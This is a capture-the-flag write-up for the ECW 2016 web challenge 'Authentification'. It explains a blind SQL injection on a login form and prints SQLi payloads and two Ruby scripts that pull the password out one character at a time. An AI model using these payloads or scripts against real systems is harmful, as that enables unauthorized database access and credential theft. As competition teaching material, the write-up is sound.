writeups

ECW - 50 - Authentification - Web

noraj (Alexandre ZANNI)
, , ,
🇬🇧

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : European Cyber Week CTF Quals 2016
  • Website : challenge-ecw.fr
  • Type : Online
  • Format : Jeopardy - Student

Description#

N.A.

Solution#

This is a blind SQL injection and Out-Of-Band (OOB) channel exfiltration is not working. When giving a correct (well formed) SQLi we get the message: Authentification valide. Le mot de passe est le flag.. So we are able to determine if a request is true or false. So the following requests gave us some details about the DB:

  • ' or 1=1 # => MySQL Database
  • ' or substring(version(),1,1)=5 # => MySQL 5
  • ' or (select 1)=1 # => subselect supported
  • ' or (select substring(concat(1,password),1,1) limit 0,1)=1 # => column name is password

So our payload will be SELECT password.

And here is the script I wrote :

#!/usr/bin/env ruby

require 'curb' # for get/post requests

hostname = 'https://challenge-ecw.fr/chals/web100'
nonce = 'myNonce'

c = Curl::Easy.new(hostname) do |curl|
  curl.headers['Cookie'] = 'session=mySessionCookie'
  curl.headers['Referer'] = hostname
  curl.headers['Host'] = 'challenge-ecw.fr'
  curl.headers['Connection'] = 'keep-alive'
  curl.headers['Upgrade-Insecure-Requests'] = '1'
  #curl.verbose = true
end # Curl
c.perform # send the request

if c.body_str.match(/Veuillez vous authentifier pour r/)
  puts '• Connexion to ECW works'
end

# Request we want to know the answer
payload = 'SELECT password'

# Find the length of the password
length = 0
while true do
  c.http_post(Curl::PostField.content('password', "' OR LENGTH((#{payload}))=#{length} #"),
              Curl::PostField.content('nonce', nonce))
  c.perform
  if c.body_str.match(/Authentification valide\. Le mot de passe est le flag\./)
    puts "Length: #{length}"
    break
  else
    puts "Length: not #{length}"
    length+=1
  end
end


# Find each char of the password one by one
answer = ""
(1..length).each do |offset|
  (32..126).each do |char|
    c.http_post(Curl::PostField.content('password', "' OR ASCII(SUBSTRING((#{payload}),#{offset},1))=#{char} #"),
                Curl::PostField.content('nonce', nonce))
    c.perform
    if c.body_str.match(/Authentification valide\. Le mot de passe est le flag\./)
      answer.concat(char.chr)
      puts "Password: #{answer}"
      break
    else
      puts "Tried: #{answer}#{char.chr}"
    end
  end
end

We can optimize the time to get the password because we know that the flag is ECW{md5(string)} and md5 hashes contains only lower letters and digits that is 32 chars long. So we can fix some parameters:

  • Lenght of the password: 37
  • Alphabet: ["a", "b", "c", "d", "e", "f", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "E", "C", "W", "{", "}"]

That give us the more optimized script:

#!/usr/bin/env ruby

require 'curb' # for get/post requests

hostname = 'https://challenge-ecw.fr/chals/web100'
nonce = 'myNonce'

c = Curl::Easy.new(hostname) do |curl|
  curl.headers['Cookie'] = 'session=mySessionCookie'
  curl.headers['Referer'] = hostname
  curl.headers['Host'] = 'challenge-ecw.fr'
  curl.headers['Connection'] = 'keep-alive'
  curl.headers['Upgrade-Insecure-Requests'] = '1'
  #curl.verbose = true
end # Curl
c.perform # send the request

if c.body_str.match(/Veuillez vous authentifier pour r/)
  puts '• Connexion to ECW works'
end

# Request we want to know the answer
payload = 'SELECT password'

length = 37

# Find each char of the password one by one
answer = ""
ECW_flag_alphabet_array = ('a'..'f').to_a + (0.to_s..9.to_s).to_a + ['E', 'C', 'W', '{', '}']
(1..length).each do |offset|
  ECW_flag_alphabet_array.each do |char|
    c.http_post(Curl::PostField.content('password', "' OR ASCII(SUBSTRING((#{payload}),#{offset},1))=#{char.ord} #"),
                Curl::PostField.content('nonce', nonce))
    c.perform
    if c.body_str.match(/Authentification valide\. Le mot de passe est le flag\./)
      answer.concat(char)
      puts "Password: #{answer}"
      break
    else
      puts "Tried: #{answer}#{char}"
    end
  end
end

So we got the flag: ECW{d3832d5a1ef4c3bef82b87ced5f50e7d}.

BONUS: I used my script to get the username:

SELECT user()
User: ecw@localhost
Share